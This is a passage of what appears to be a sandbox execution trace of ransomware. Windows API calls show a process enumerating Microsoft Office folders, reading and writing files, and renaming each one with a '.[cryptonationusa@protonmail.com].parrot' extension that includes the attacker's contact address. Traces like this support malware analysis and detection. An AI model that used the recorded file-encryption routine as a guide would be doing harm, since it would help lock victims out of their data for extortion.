lpOverlapped=0x0) returned 1 [0199.043] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.044] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x324, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x324, lpOverlapped=0x0) returned 1 [0199.044] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.044] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.044] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.044] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.044] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.fr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.fr.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.048] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.048] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.050] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.050] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x326, lpOverlapped=0x0) returned 1 [0199.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.050] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.051] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.051] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.hk.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.hk.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.056] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.056] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.057] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.057] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32a, lpOverlapped=0x0) returned 1 [0199.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.058] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.058] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ie.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.063] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.063] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.064] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.064] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x324, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x324, lpOverlapped=0x0) returned 1 [0199.064] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.065] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.065] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.065] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.065] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.it.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.it.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.070] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.070] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.072] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.072] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x331, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x331, lpOverlapped=0x0) returned 1 [0199.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.072] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.jp.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.jp.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.078] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.078] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.079] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.079] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x326, lpOverlapped=0x0) returned 1 [0199.079] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.080] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.080] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.no.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.no.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.085] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.085] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.087] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.088] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x326, lpOverlapped=0x0) returned 1 [0199.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.088] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.088] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.pl.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.pl.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.094] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.094] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.096] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.096] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x326, lpOverlapped=0x0) returned 1 [0199.096] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.097] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.097] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.097] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.097] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.se.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.se.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.108] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0199.108] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2b441c0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x2b441c0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.109] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x259cd80, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMERITECH.NET.XML.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="AMERIT~1.PAR")) returned 1 [0199.109] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c98 [0199.110] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0199.112] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0199.112] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.113] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0199.113] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0199.113] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180a100, ftCreationTime.dwHighDateTime=0x1ca10e6, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb180a100, ftLastWriteTime.dwHighDateTime=0x1ca10e6, nFileSizeHigh=0x0, nFileSizeLow=0xfb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL001.XML", cAlternateFileName="")) returned 1 [0199.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0199.114] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.114] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.115] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.116] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfb6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfb6, lpOverlapped=0x0) returned 1 [0199.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.116] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl001.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl001.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.123] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.123] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.160] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.160] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0199.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.192] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.192] WriteFile (in: hFile=0x284, lpBuffer=0x6a33f0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a33f0*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0199.196] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.196] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0199.199] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15b312, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0199.199] CloseHandle (hObject=0x284) returned 1 [0199.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0199.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31aa260 [0199.199] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl002.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl002.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.220] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.220] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.224] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.224] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x33a1a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x33a1a, lpOverlapped=0x0) returned 1 [0199.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.233] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl010.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl010.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.256] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.256] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.258] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.258] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1390, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1390, lpOverlapped=0x0) returned 1 [0199.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.259] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.259] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl011.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl011.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.265] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.265] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.267] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.267] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa5178, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa5178, lpOverlapped=0x0) returned 1 [0199.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.294] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.320] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML" (normalized: "c:\\program files\\microsoft 